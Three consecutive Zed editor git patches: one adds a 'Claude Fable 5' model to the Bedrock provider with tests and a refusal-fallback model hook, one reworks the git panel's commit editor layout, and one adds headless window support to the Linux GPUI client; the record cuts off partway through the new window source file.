From: =?UTF-8?q?Edvard=20H=C3=B8iby?= <EdvardHoiby@outlook.com>
Date: Fri, 3 Jul 2026 17:10:39 +0200
Subject: [PATCH 243/772] Add Claude Fable 5 to Amazon Bedrock (#59016)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

What:
<img width="644" height="445" alt="image"
src="https://github.com/user-attachments/assets/b1b01f7d-8ee9-448c-a8c7-ae80c16326e4"
/>

Tested towards EU region off AWS. Makes Claude Fabel 5 accessible
through bedrock.
To enable Fable you need to opt in to `provider_data_share` in AWS.
[AWS
Docs](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-fable-5.html)

Release Notes:

- Added Claude Fable 5 to the Amazon Bedrock provider.

---------

Co-authored-by: Neel <neel@zed.dev>
---
 crates/bedrock/src/models.rs                  | 72 ++++++++++++++++---
 .../language_models/src/provider/bedrock.rs   | 12 ++++
 2 files changed, 75 insertions(+), 9 deletions(-)

diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index a2f299a3c9ed10..9ebeffda7a8177 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -107,6 +107,13 @@ pub enum Model {
         alias = "claude-sonnet-4-6-thinking-latest"
     )]
     ClaudeSonnet4_6,
+    #[serde(
+        rename = "claude-fable-5",
+        alias = "claude-fable-5-latest",
+        alias = "claude-fable-5-thinking",
+        alias = "claude-fable-5-thinking-latest"
+    )]
+    ClaudeFable5,
 
     // Meta Llama 4 models
     #[serde(rename = "llama-4-scout-17b")]
@@ -219,7 +226,9 @@ impl Model {
     }
 
     pub fn from_id(id: &str) -> anyhow::Result<Self> {
-        if id.starts_with("claude-opus-4-8") {
+        if id.starts_with("claude-fable-5") {
+            Ok(Self::ClaudeFable5)
+        } else if id.starts_with("claude-opus-4-8") {
             Ok(Self::ClaudeOpus4_8)
         } else if id.starts_with("claude-opus-4-7") {
             Ok(Self::ClaudeOpus4_7)
@@ -253,6 +262,7 @@ impl Model {
             Self::ClaudeOpus4_7 => "claude-opus-4-7",
             Self::ClaudeOpus4_8 => "claude-opus-4-8",
             Self::ClaudeSonnet4_6 => "claude-sonnet-4-6",
+            Self::ClaudeFable5 => "claude-fable-5",
             Self::Llama4Scout17B => "llama-4-scout-17b",
             Self::Llama4Maverick17B => "llama-4-maverick-17b",
             Self::Gemma3_4B => "gemma-3-4b",
@@ -304,6 +314,7 @@ impl Model {
             Self::ClaudeOpus4_7 => "anthropic.claude-opus-4-7",
             Self::ClaudeOpus4_8 => "anthropic.claude-opus-4-8",
             Self::ClaudeSonnet4_6 => "anthropic.claude-sonnet-4-6",
+            Self::ClaudeFable5 => "anthropic.claude-fable-5",
             Self::Llama4Scout17B => "meta.llama4-scout-17b-instruct-v1:0",
             Self::Llama4Maverick17B => "meta.llama4-maverick-17b-instruct-v1:0",
             Self::Gemma3_4B => "google.gemma-3-4b-it",
@@ -355,6 +366,7 @@ impl Model {
             Self::ClaudeOpus4_7 => "Claude Opus 4.7",
             Self::ClaudeOpus4_8 => "Claude Opus 4.8",
             Self::ClaudeSonnet4_6 => "Claude Sonnet 4.6",
+            Self::ClaudeFable5 => "Claude Fable 5",
             Self::Llama4Scout17B => "Llama 4 Scout 17B",
             Self::Llama4Maverick17B => "Llama 4 Maverick 17B",
             Self::Gemma3_4B => "Gemma 3 4B",
@@ -406,7 +418,8 @@ impl Model {
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_8
-            | Self::ClaudeSonnet4_6 => 1_000_000,
+            | Self::ClaudeSonnet4_6
+            | Self::ClaudeFable5 => 1_000_000,
             Self::ClaudeOpus4_1 => 200_000,
             Self::Llama4Scout17B | Self::Llama4Maverick17B => 128_000,
             Self::Gemma3_4B | Self::Gemma3_12B | Self::Gemma3_27B => 128_000,
@@ -440,7 +453,10 @@ impl Model {
             | Self::ClaudeOpus4_5
             | Self::ClaudeSonnet4_6 => 64_000,
             Self::ClaudeOpus4_1 => 32_000,
-            Self::ClaudeOpus4_6 | Self::ClaudeOpus4_7 | Self::ClaudeOpus4_8 => 128_000,
+            Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_8
+            | Self::ClaudeFable5 => 128_000,
             Self::Llama4Scout17B
             | Self::Llama4Maverick17B
             | Self::Gemma3_4B
@@ -480,7 +496,8 @@ impl Model {
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_8
-            | Self::ClaudeSonnet4_6 => 1.0,
+            | Self::ClaudeSonnet4_6
+            | Self::ClaudeFable5 => 1.0,
             Self::Custom {
                 default_temperature,
                 ..
@@ -499,7 +516,8 @@ impl Model {
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_8
-            | Self::ClaudeSonnet4_6 => true,
+            | Self::ClaudeSonnet4_6
+            | Self::ClaudeFable5 => true,
             Self::NovaLite | Self::NovaPro | Self::NovaPremier | Self::Nova2Lite => true,
             Self::MistralLarge3 | Self::PixtralLarge | Self::MagistralSmall => true,
             Self::Devstral2_123B | Self::Ministral14B => true,
@@ -531,7 +549,8 @@ impl Model {
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_8
-            | Self::ClaudeSonnet4_6 => true,
+            | Self::ClaudeSonnet4_6
+            | Self::ClaudeFable5 => true,
             Self::NovaLite | Self::NovaPro => true,
             Self::PixtralLarge => true,
             Self::Qwen3VL235B => true,
@@ -550,7 +569,8 @@ impl Model {
             | Self::ClaudeOpus4_6
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_8
-            | Self::ClaudeSonnet4_6 => true,
+            | Self::ClaudeSonnet4_6
+            | Self::ClaudeFable5 => true,
             Self::Custom {
                 cache_configuration,
                 ..
@@ -571,18 +591,23 @@ impl Model {
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
         )
     }
 
     pub fn supports_adaptive_thinking(&self) -> bool {
         matches!(
             self,
-            Self::ClaudeOpus4_6 | Self::ClaudeOpus4_7 | Self::ClaudeOpus4_8 | Self::ClaudeSonnet4_6
+            Self::ClaudeOpus4_6
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_8
+                | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
         )
     }
 
     pub fn supports_xhigh_adaptive_thinking(&self) -> bool {
-        matches!(self, Self::ClaudeOpus4_8)
+        matches!(self, Self::ClaudeOpus4_8 | Self::ClaudeFable5)
     }
 
     pub fn thinking_mode(&self) -> BedrockModelMode {
@@ -616,6 +641,7 @@ impl Model {
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
                 | Self::Nova2Lite
         );
 
@@ -677,6 +703,7 @@ impl Model {
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
                 | Self::Nova2Lite,
                 "global",
             ) => Ok(format!("{}.{}", region_group, model_id)),
@@ -695,6 +722,7 @@ impl Model {
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
                 | Self::Llama4Scout17B
                 | Self::Llama4Maverick17B
                 | Self::NovaLite
@@ -718,6 +746,7 @@ impl Model {
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeSonnet4_6
+                | Self::ClaudeFable5
                 | Self::NovaLite
                 | Self::NovaPro
                 | Self::Nova2Lite,
@@ -775,6 +804,10 @@ mod tests {
             Model::ClaudeSonnet4.cross_region_inference_id("us-west-2", false)?,
             "us.anthropic.claude-sonnet-4-20250514-v1:0"
         );
+        assert_eq!(
+            Model::ClaudeFable5.cross_region_inference_id("us-east-1", false)?,
+            "us.anthropic.claude-fable-5"
+        );
         assert_eq!(
             Model::NovaPro.cross_region_inference_id("us-east-2", false)?,
             "us.amazon.nova-pro-v1:0"
@@ -812,6 +845,10 @@ mod tests {
             Model::ClaudeOpus4_8.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-8"
         );
+        assert_eq!(
+            Model::ClaudeFable5.cross_region_inference_id("eu-west-1", false)?,
+            "eu.anthropic.claude-fable-5"
+        );
         Ok(())
     }
 
@@ -918,6 +955,10 @@ mod tests {
             Model::ClaudeOpus4_8.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-opus-4-8"
         );
+        assert_eq!(
+            Model::ClaudeFable5.cross_region_inference_id("us-east-1", true)?,
+            "global.anthropic.claude-fable-5"
+        );
         assert_eq!(
             Model::Nova2Lite.cross_region_inference_id("us-east-1", true)?,
             "global.amazon.nova-2-lite-v1:0"
@@ -989,6 +1030,7 @@ mod tests {
         assert_eq!(Model::NovaLite.id(), "nova-lite");
         assert_eq!(Model::DeepSeekR1.id(), "deepseek-r1");
         assert_eq!(Model::Llama4Scout17B.id(), "llama-4-scout-17b");
+        assert_eq!(Model::ClaudeFable5.id(), "claude-fable-5");
 
         assert_eq!(
             Model::ClaudeSonnet4_5.request_id(),
@@ -1000,6 +1042,7 @@ mod tests {
             Model::Llama4Scout17B.request_id(),
             "meta.llama4-scout-17b-instruct-v1:0"
         );
+        assert_eq!(Model::ClaudeFable5.request_id(), "anthropic.claude-fable-5");
 
         // Thinking aliases deserialize to the same model
         assert_eq!(Model::ClaudeSonnet4.id(), "claude-sonnet-4");
@@ -1007,6 +1050,10 @@ mod tests {
             Model::from_id("claude-sonnet-4-thinking").unwrap().id(),
             "claude-sonnet-4"
         );
+        assert_eq!(
+            Model::from_id("claude-fable-5-thinking").unwrap().id(),
+            "claude-fable-5"
+        );
     }
 
     #[test]
@@ -1015,11 +1062,14 @@ mod tests {
         assert!(Model::ClaudeSonnet4.supports_thinking());
         assert!(Model::ClaudeSonnet4_5.supports_thinking());
         assert!(Model::ClaudeOpus4_6.supports_thinking());
+        assert!(Model::ClaudeFable5.supports_thinking());
 
         assert!(!Model::ClaudeSonnet4.supports_adaptive_thinking());
         assert!(Model::ClaudeOpus4_6.supports_adaptive_thinking());
         assert!(Model::ClaudeSonnet4_6.supports_adaptive_thinking());
+        assert!(Model::ClaudeFable5.supports_adaptive_thinking());
         assert!(!Model::ClaudeOpus4_7.supports_xhigh_adaptive_thinking());
+        assert!(Model::ClaudeFable5.supports_xhigh_adaptive_thinking());
         assert!(Model::ClaudeOpus4_8.supports_xhigh_adaptive_thinking());
         assert_eq!(BedrockAdaptiveThinkingEffort::XHigh.as_str(), "xhigh");
 
@@ -1047,6 +1097,7 @@ mod tests {
     fn test_max_token_count() {
         assert_eq!(Model::ClaudeSonnet4_5.max_token_count(), 1_000_000);
         assert_eq!(Model::ClaudeOpus4_6.max_token_count(), 1_000_000);
+        assert_eq!(Model::ClaudeFable5.max_token_count(), 1_000_000);
         assert_eq!(Model::Llama4Scout17B.max_token_count(), 128_000);
         assert_eq!(Model::NovaPremier.max_token_count(), 1_000_000);
     }
@@ -1055,6 +1106,7 @@ mod tests {
     fn test_max_output_tokens() {
         assert_eq!(Model::ClaudeSonnet4_5.max_output_tokens(), 64_000);
         assert_eq!(Model::ClaudeOpus4_6.max_output_tokens(), 128_000);
+        assert_eq!(Model::ClaudeFable5.max_output_tokens(), 128_000);
         assert_eq!(Model::ClaudeOpus4_1.max_output_tokens(), 32_000);
         assert_eq!(Model::Gemma3_4B.max_output_tokens(), 8_192);
     }
@@ -1062,6 +1114,7 @@ mod tests {
     #[test]
     fn test_supports_tool_use() {
         assert!(Model::ClaudeSonnet4_5.supports_tool_use());
+        assert!(Model::ClaudeFable5.supports_tool_use());
         assert!(Model::NovaPro.supports_tool_use());
         assert!(Model::MistralLarge3.supports_tool_use());
         assert!(!Model::Gemma3_4B.supports_tool_use());
@@ -1076,6 +1129,7 @@ mod tests {
     fn test_supports_caching() {
         assert!(Model::ClaudeSonnet4_5.supports_caching());
         assert!(Model::ClaudeOpus4_6.supports_caching());
+        assert!(Model::ClaudeFable5.supports_caching());
         assert!(!Model::Llama4Scout17B.supports_caching());
         assert!(!Model::NovaPro.supports_caching());
     }
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index ee673577c66881..7d07261f641c69 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -670,6 +670,18 @@ impl LanguageModel for BedrockModel {
         self.model.supports_thinking()
     }
 
+    fn refusal_fallback_model_id(&self) -> Option<&'static str> {
+        if self
+            .model
+            .id()
+            .starts_with(anthropic::FABLE_MODEL_ID_PREFIX)
+        {
+            Some(anthropic::FABLE_FALLBACK_MODEL_ID)
+        } else {
+            None
+        }
+    }
+
     fn supported_effort_levels(&self) -> Vec<language_model::LanguageModelEffortLevel> {
         if self.model.supports_adaptive_thinking() {
             vec![

From aabcd71690db4d5608eef8fcca4623b3bb10f7b1 Mon Sep 17 00:00:00 2001
From: Zak Nesler <zaknesler@gmail.com>
Date: Fri, 3 Jul 2026 11:19:49 -0400
Subject: [PATCH 244/772] Improve commit container at larger font sizes
 (#60331)

At larger font sizes (e.g. I have profiles that increase the font sizes
when screen sharing) the commit button in the git panel editor does not
stay aligned to the bottom-right of the screen, and overlaps the other
elements:

<details>
  <summary>Click to show showcase</summary>


https://github.com/user-attachments/assets/e73034db-07a6-42d7-b993-9d8091e50b70

Notice the extra clipping of the commit message editor element:

<img width="500" alt="image"
src="https://github.com/user-attachments/assets/67d59405-57e2-4547-87c2-1c4728515c26"
/>

</details>

This was happening because the floating icons on the right and the
footer containing the commit button were positioned absolutely, used
pixels instead of responsive rems, and had an offset that was calculated
and did not account for changes in user rem size.

So I've moved things around to be more "flexy"... basically just
removing the absolute positioning and making the elements flush against
one another.

## Testing

I have tested this manually on macOS 27 beta 2 and Windows 11, both
using various light/dark themes, window sizes, commit text, etc.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] ~~Tests cover the new/changed behavior~~
- [x] Performance impact has been considered and is acceptable

## Showcase

Here's a demo at different zoom levels, with and without text, when
expanding the commit window, etc.

<details>
  <summary>Click to view showcase</summary>


https://github.com/user-attachments/assets/bea82da1-0c7f-4d51-a73b-d4bc4581a2b7

And here's another demo with debug colors for the different elements to
see what's going on:


https://github.com/user-attachments/assets/12fd3e95-5089-4e34-a84c-c352219ee197

</details>
---

Release Notes:

- Git Panel: Fixed overlapping elements in commit message container

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/git_ui/src/git_panel.rs | 174 +++++++++++++++------------------
 1 file changed, 77 insertions(+), 97 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 445b991a132679..f7b36a9fc9de1b 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -5169,14 +5169,6 @@ impl GitPanel {
         let branch = active_repository.read(cx).branch.clone();
         let head_commit = active_repository.read(cx).head_commit.clone();
 
-        let footer_size = px(32.);
-        let gap = px(9.0);
-        let max_height = panel_editor_style
-            .text
-            .line_height_in_pixels(window.rem_size())
-            * MAX_PANEL_EDITOR_LINES
-            + gap;
-
         let git_panel = cx.entity();
         let display_name = SharedString::from(Arc::from(
             active_repository
@@ -5200,6 +5192,58 @@ impl GitPanel {
             false
         };
 
+        let vertical_buttons = v_flex()
+            .h_full()
+            .gap_px()
+            .p_1p5()
+            .opacity(0.6)
+            .hover(|s| s.opacity(1.0))
+            .child(
+                IconButton::new("expand-commit-editor", IconName::MaximizeAlt)
+                    .icon_size(IconSize::Small)
+                    .tooltip({
+                        move |_window, cx| {
+                            Tooltip::for_action_in(
+                                "Open Commit Modal",
+                                &git::ExpandCommitEditor,
+                                &editor_focus_handle,
+                                cx,
+                            )
+                        }
+                    })
+                    .on_click(cx.listener({
+                        move |_, _, window, cx| {
+                            window.dispatch_action(git::ExpandCommitEditor.boxed_clone(), cx)
+                        }
+                    })),
+            )
+            .child({
+                let (icon, label) = if self.commit_editor_expanded {
+                    (IconName::Minimize, "Collapse Commit Editor")
+                } else {
+                    (IconName::Maximize, "Expand Commit Editor")
+                };
+                let focus_handle = self.focus_handle.clone();
+
+                IconButton::new("fill-commit-editor", icon)
+                    .icon_size(IconSize::Small)
+                    .tooltip({
+                        move |_window, cx| {
+                            Tooltip::for_action_in(
+                                label,
+                                &git::ToggleFillCommitEditor,
+                                &focus_handle,
+                                cx,
+                            )
+                        }
+                    })
+                    .on_click(cx.listener({
+                        move |_, _, window, cx| {
+                            window.dispatch_action(git::ToggleFillCommitEditor.boxed_clone(), cx)
+                        }
+                    }))
+            });
+
         let footer = v_flex()
             .when(self.commit_editor_expanded, |this| this.flex_1().min_h_0())
             .child(PanelRepoFooter::new(
@@ -5233,13 +5277,8 @@ impl GitPanel {
             .child(
                 panel_editor_container(window, cx)
                     .id("commit-editor-container")
-                    .cursor_text()
-                    .relative()
                     .w_full()
                     .when(self.commit_editor_expanded, |this| this.flex_1().min_h_0())
-                    .when(!self.commit_editor_expanded, |this| {
-                        this.h(max_height + footer_size)
-                    })
                     .border_t_1()
                     .border_color(if title_exceeds_limit {
                         cx.theme().status().warning_border
@@ -5249,20 +5288,37 @@ impl GitPanel {
                     .on_click(cx.listener(move |this, _: &ClickEvent, window, cx| {
                         window.focus(&this.commit_editor.focus_handle(cx), cx);
                     }))
+                    .child(
+                        h_flex()
+                            .size_full()
+                            .child(
+                                div()
+                                    .pt_2()
+                                    .px_2()
+                                    .cursor_text()
+                                    .flex_grow_1()
+                                    .on_action(|&zed_actions::editor::MoveUp, _, cx| {
+                                        cx.stop_propagation();
+                                    })
+                                    .on_action(|&zed_actions::editor::MoveDown, _, cx| {
+                                        cx.stop_propagation();
+                                    })
+                                    .child(EditorElement::new(
+                                        &self.commit_editor,
+                                        panel_editor_style,
+                                    )),
+                            )
+                            .child(vertical_buttons),
+                    )
                     .child(
                         h_flex()
                             .id("commit-footer")
+                            .w_full()
+                            .p_1p5()
                             .border_t_1()
                             .when(editor_is_long, |el| {
                                 el.border_color(cx.theme().colors().border_variant)
                             })
-                            .absolute()
-                            .bottom_0()
-                            .left_0()
-                            .w_full()
-                            .px_2()
-                            .h(footer_size)
-                            .flex_none()
                             .justify_between()
                             .child(
                                 self.render_generate_commit_message_button(cx)
@@ -5274,80 +5330,6 @@ impl GitPanel {
                                     .children(enable_coauthors)
                                     .child(self.render_commit_button(cx)),
                             ),
-                    )
-                    .child(
-                        div()
-                            .when(self.commit_editor_expanded, |this| {
-                                this.flex_1().min_h_0().pb(footer_size)
-                            })
-                            .pr_2p5()
-                            .on_action(|&zed_actions::editor::MoveUp, _, cx| {
-                                cx.stop_propagation();
-                            })
-                            .on_action(|&zed_actions::editor::MoveDown, _, cx| {
-                                cx.stop_propagation();
-                            })
-                            .child(EditorElement::new(&self.commit_editor, panel_editor_style)),
-                    )
-                    .child(
-                        v_flex()
-                            .absolute()
-                            .top_2()
-                            .right_2()
-                            .gap_px()
-                            .opacity(0.6)
-                            .hover(|s| s.opacity(1.0))
-                            .child(
-                                IconButton::new("expand-commit-editor", IconName::MaximizeAlt)
-                                    .icon_size(IconSize::Small)
-                                    .tooltip({
-                                        move |_window, cx| {
-                                            Tooltip::for_action_in(
-                                                "Open Commit Modal",
-                                                &git::ExpandCommitEditor,
-                                                &editor_focus_handle,
-                                                cx,
-                                            )
-                                        }
-                                    })
-                                    .on_click(cx.listener({
-                                        move |_, _, window, cx| {
-                                            window.dispatch_action(
-                                                git::ExpandCommitEditor.boxed_clone(),
-                                                cx,
-                                            )
-                                        }
-                                    })),
-                            )
-                            .child({
-                                let (icon, label) = if self.commit_editor_expanded {
-                                    (IconName::Minimize, "Collapse Commit Editor")
-                                } else {
-                                    (IconName::Maximize, "Expand Commit Editor")
-                                };
-                                let focus_handle = self.focus_handle.clone();
-
-                                IconButton::new("fill-commit-editor", icon)
-                                    .icon_size(IconSize::Small)
-                                    .tooltip({
-                                        move |_window, cx| {
-                                            Tooltip::for_action_in(
-                                                label,
-                                                &git::ToggleFillCommitEditor,
-                                                &focus_handle,
-                                                cx,
-                                            )
-                                        }
-                                    })
-                                    .on_click(cx.listener({
-                                        move |_, _, window, cx| {
-                                            window.dispatch_action(
-                                                git::ToggleFillCommitEditor.boxed_clone(),
-                                                cx,
-                                            )
-                                        }
-                                    }))
-                            }),
                     ),
             );
 
@@ -7468,8 +7450,6 @@ impl PanelHeader for GitPanel {}
 pub fn panel_editor_container(_window: &mut Window, cx: &mut App) -> Div {
     v_flex()
         .size_full()
-        .gap(px(8.))
-        .p_2()
         .bg(cx.theme().colors().editor_background)
 }
 
@@ -7689,9 +7669,9 @@ impl RenderOnce for PanelRepoFooter {
             });
 
         h_flex()
-            .h_9()
             .w_full()
             .px_2()
+            .py_1p5()
             .justify_between()
             .gap_1()
             .child(

From f4364d870e8e805ff272ab25a198ab46db19e51b Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Fri, 3 Jul 2026 17:20:09 +0200
Subject: [PATCH 245/772] gpui_linux: Add support for open_window in headless
 client (#60359)

This actually makes it possible for Linux headless client to have
working windows for computation (well, we are in headless mode after
all). This also matches macOS headless client behaviour.

Release Notes:

- N/A
---
 crates/gpui_linux/src/linux/headless.rs       |   1 +
 .../gpui_linux/src/linux/headless/client.rs   |  19 +-
 .../gpui_linux/src/linux/headless/window.rs   | 287 ++++++++++++++++++
 3 files changed, 301 insertions(+), 6 deletions(-)
 create mode 100644 crates/gpui_linux/src/linux/headless/window.rs

diff --git a/crates/gpui_linux/src/linux/headless.rs b/crates/gpui_linux/src/linux/headless.rs
index 2237aeb1941a32..6667a3b5a1ffc9 100644
--- a/crates/gpui_linux/src/linux/headless.rs
+++ b/crates/gpui_linux/src/linux/headless.rs
@@ -1,3 +1,4 @@
 mod client;
+mod window;
 
 pub(crate) use client::*;
diff --git a/crates/gpui_linux/src/linux/headless/client.rs b/crates/gpui_linux/src/linux/headless/client.rs
index e127da1f2f24b1..06da3cbd945b96 100644
--- a/crates/gpui_linux/src/linux/headless/client.rs
+++ b/crates/gpui_linux/src/linux/headless/client.rs
@@ -4,6 +4,7 @@ use std::rc::Rc;
 use calloop::{EventLoop, LoopHandle};
 use gpui_util::ResultExt;
 
+use crate::linux::headless::window::{HeadlessDisplay, HeadlessWindow};
 use crate::linux::{LinuxClient, LinuxCommon, LinuxKeyboardLayout};
 use gpui::{
     AnyWindowHandle, CursorStyle, DisplayId, PlatformDisplay, PlatformKeyboardLayout,
@@ -14,6 +15,7 @@ pub struct HeadlessClientState {
     pub(crate) _loop_handle: LoopHandle<'static, HeadlessClient>,
     pub(crate) event_loop: Option<calloop::EventLoop<'static, HeadlessClient>>,
     pub(crate) common: LinuxCommon,
+    pub(crate) display: Rc<dyn PlatformDisplay>,
 }
 
 #[derive(Clone)]
@@ -47,6 +49,7 @@ impl HeadlessClient {
             event_loop: Some(event_loop),
             _loop_handle: handle,
             common,
+            display: Rc::new(HeadlessDisplay::new()),
         })))
     }
 }
@@ -61,15 +64,16 @@ impl LinuxClient for HeadlessClient {
     }
 
     fn displays(&self) -> Vec<Rc<dyn PlatformDisplay>> {
-        vec![]
+        vec![self.0.borrow().display.clone()]
     }
 
     fn primary_display(&self) -> Option<Rc<dyn PlatformDisplay>> {
-        None
+        Some(self.0.borrow().display.clone())
     }
 
-    fn display(&self, _id: DisplayId) -> Option<Rc<dyn PlatformDisplay>> {
-        None
+    fn display(&self, id: DisplayId) -> Option<Rc<dyn PlatformDisplay>> {
+        let display = self.0.borrow().display.clone();
+        (display.id() == id).then_some(display)
     }
 
     #[cfg(feature = "screen-capture")]
@@ -96,9 +100,12 @@ impl LinuxClient for HeadlessClient {
     fn open_window(
         &self,
         _handle: AnyWindowHandle,
-        _params: WindowParams,
+        params: WindowParams,
     ) -> anyhow::Result<Box<dyn PlatformWindow>> {
-        anyhow::bail!("neither DISPLAY nor WAYLAND_DISPLAY is set. You can run in headless mode");
+        Ok(Box::new(HeadlessWindow::new(
+            params,
+            self.0.borrow().display.clone(),
+        )))
     }
 
     fn compositor_name(&self) -> &'static str {
diff --git a/crates/gpui_linux/src/linux/headless/window.rs b/crates/gpui_linux/src/linux/headless/window.rs
new file mode 100644
index 00000000000000..e41b09723dedaf
--- /dev/null
+++ b/crates/gpui_linux/src/linux/headless/window.rs
@@ -0,0 +1,287 @@
+//! Windows for the headless platform client.
+//!
+//! A headless window has no compositor surface and no GPU: layout, text
+//! shaping, and entity plumbing run normally, `draw` discards the scene, and
+//! the sprite atlas hands out tiles without uploading pixels (mirroring
+//! GPUI's `TestWindow`/`TestAtlas`). This lets command-line tools drive real
+//! `Window`-based code paths without a display server.
+
+use std::cell::RefCell;
+use std::rc::Rc;
+use std::sync::Arc;
+
+use collections::HashMap;
+use parking_lot::Mutex;
+use uuid::Uuid;
+
+use gpui::{
+    AtlasKey, AtlasTextureId, AtlasTile, Bounds, Capslock, DevicePixels, DispatchEventResult,
+    DisplayId, GpuSpecs, Modifiers, Pixels, PlatformAtlas, PlatformDisplay, PlatformInput,
+    PlatformInputHandler, PlatformWindow, Point, PromptButton, PromptLevel, RequestFrameOptions,
+    Scene, Size, TileId, WindowAppearance, WindowBackgroundAppearance, WindowBounds,
+    WindowControlArea, WindowParams, px,
+};
+
+#[derive(Debug)]
+pub(crate) struct HeadlessDisplay {
+    bounds: Bounds<Pixels>,
+}
+
+impl HeadlessDisplay {
+    pub(crate) fn new() -> Self {
+        Self {
+            bounds: Bounds::from_corners(Point::default(), Point::new(px(1920.), px(1080.))),
+        }
+    }
+}
+
+impl PlatformDisplay for HeadlessDisplay {
+    fn id(&self) -> DisplayId {
+        DisplayId::new(0)
+    }
+
+    fn uuid(&self) -> anyhow::Result<Uuid> {
+        // Stable identity: there is exactly one headless display.
+        Ok(Uuid::nil())
+    }
+
+    fn bounds(&self) -> Bounds<Pixels> {
+        self.bounds
+    }
+}
+
+struct HeadlessWindowState {
+    bounds: Bounds<Pixels>,
+    display: Rc<dyn PlatformDisplay>,
+    input_handler: Option<PlatformInputHandler>,
+    title: Option<String>,
+    is_fullscreen: bool,
+}
+
+pub(crate) struct HeadlessWindow(Rc<RefCell<HeadlessWindowState>>);
+
+impl raw_window_handle::HasWindowHandle for HeadlessWindow {
+    fn window_handle(
+        &self,
+    ) -> Result<raw_window_handle::WindowHandle<'_>, raw_window_handle::HandleError> {
+        // Headless windows are not backed by a native window.
+        Err(raw_window_handle::HandleError::NotSupported)
+    }
+}
+
+impl raw_window_handle::HasDisplayHandle for HeadlessWindow {
+    fn display_handle(
+        &self,
+    ) -> Result<raw_window_handle::DisplayHandle<'_>, raw_window_handle::HandleError> {
+        Err(raw_window_handle::HandleError::NotSupported)
+    }
+}
+
+impl HeadlessWindow {
+    pub(crate) fn new(params: WindowParams, display: Rc<dyn PlatformDisplay>) -> Self {
+        Self(Rc::new(RefCell::new(HeadlessWindowState {
+            bounds: params.bounds,
+            display,
+            input_handler: None,
+            title: None,
+            is_fullscreen: false,
+        })))
+    }
+}
+
+impl PlatformWindow for HeadlessWindow {
+    fn bounds(&self) -> Bounds<Pixels> {
+        self.0.borrow().bounds
+    }
+
+    fn is_maximized(&self) -> bool {
+        false
+    }
+
+    fn window_bounds(&self) -> WindowBounds {
+        WindowBounds::Windowed(self.bounds())
+    }
+
+    fn content_size(&self) -> Size<Pixels> {
+        self.bounds().size
+    }
+
+    fn resize(&mut self, size: Size<Pixels>) {
+        self.0.borrow_mut().bounds.size = size;
+    }
+
+    fn scale_factor(&self) -> f32 {
+        1.0
+    }
+
+    fn appearance(&self) -> WindowAppearance {
+        WindowAppearance::Dark
+    }
+
+    fn display(&self) -> Option<Rc<dyn PlatformDisplay>> {
+        Some(self.0.borrow().display.clone())
+    }
+
+    fn mouse_position(&self) -> Point<Pixels> {
+        Point::default()
+    }
+
+    fn modifiers(&self) -> Modifiers {
+        Modifiers::default()
+    }
+
+    fn capslock(&self) -> Capslock {
+        Capslock::default()
+    }
+
+    fn set_input_handler(&mut self, input_handler: PlatformInputHandler) {
+        self.0.borrow_mut().input_handler = Some(input_handler);
+    }
+
+    fn take_input_handler(&mut self) -> Option<PlatformInputHandler> {
+        self.0.borrow_mut().input_handler.take()
+    }
+
+    fn prompt(
+        &self,
+        _level: PromptLevel,
+        _msg: &str,
+        _detail: Option<&str>,
+        _answers: &[PromptButton],
+    ) -> Option<futures::channel::oneshot::Receiver<usize>> {
+        // Fall back to GPUI's rendered prompts.
+        None
+    }
+
+    fn activate(&self) {}
+
+    fn is_active(&self) -> bool {
+        false
+    }
+
+    fn is_hovered(&self) -> bool {
+        false
+    }
+
+    fn background_appearance(&self) -> WindowBackgroundAppearance {
+        WindowBackgroundAppearance::Opaque
+    }
+
